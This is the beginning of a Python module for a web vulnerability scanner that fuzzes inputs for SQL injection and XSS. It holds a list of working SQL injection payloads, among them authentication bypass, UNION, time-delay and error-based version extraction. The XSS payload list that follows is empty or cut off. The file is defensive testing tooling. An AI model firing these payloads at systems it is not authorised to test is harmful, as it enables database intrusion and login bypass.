"""
fuzzer_scanner.py — Active XSS & SQL Injection Fuzzer
=====================================================
Senior Security Engineer-grade injection testing module.
This scanner:
1. Crawls the target page recursively using WebCrawler.
2. Injects curated SQLi and XSS payloads into every discovered input vector.
3. Analyses HTTP responses for database error signatures (MySQL, PostgreSQL,
MSSQL, Oracle, SQLite) and reflected XSS payload markers.
4. Performs boolean-based blind SQL injection checks.
5. Reports each confirmed injection point with severity, CVSS, evidence,
and remediation guidance.
"""
import urllib.request, urllib.error, urllib.parse, ssl, re, time
from html.parser import HTMLParser
from scanners.base_scanner import BaseScanner
from utils.web_crawler import WebCrawler
from utils.fuzzer_engine import ContextAwareFuzzer, TYPE_MUTATIONS
# ──────────────────────────────────────────────────────────────────────
# Payload Sets
# ──────────────────────────────────────────────────────────────────────
SQLI_PAYLOADS = [
# Classic auth-bypass / error-based
"' OR '1'='1",
"' OR '1'='1' --",
"' OR '1'='1' /*",
'" OR "1"="1"',
"1' AND 1=1 --",
"1' AND 1=0 --",
"' UNION SELECT NULL --",
"' UNION SELECT NULL, NULL --",
"'; WAITFOR DELAY '0:0:3' --",
"1; SELECT SLEEP(3) --",
"admin'--",
"admin' #",
"admin' --",
"' OR 1=1#",
"' OR 1=1--",
'" OR 1=1--',
"\" OR \"1\"=\"1",
"' OR 'a'='a",
"') OR ('1'='1",
"1' ORDER BY 1 --",
"1' ORDER BY 100 --",
"' AND EXTRACTVALUE(1, CONCAT(0x7e, VERSION())) --",
]
XSS_PAYLOADS = [
'',
'">',
"'\">
",
'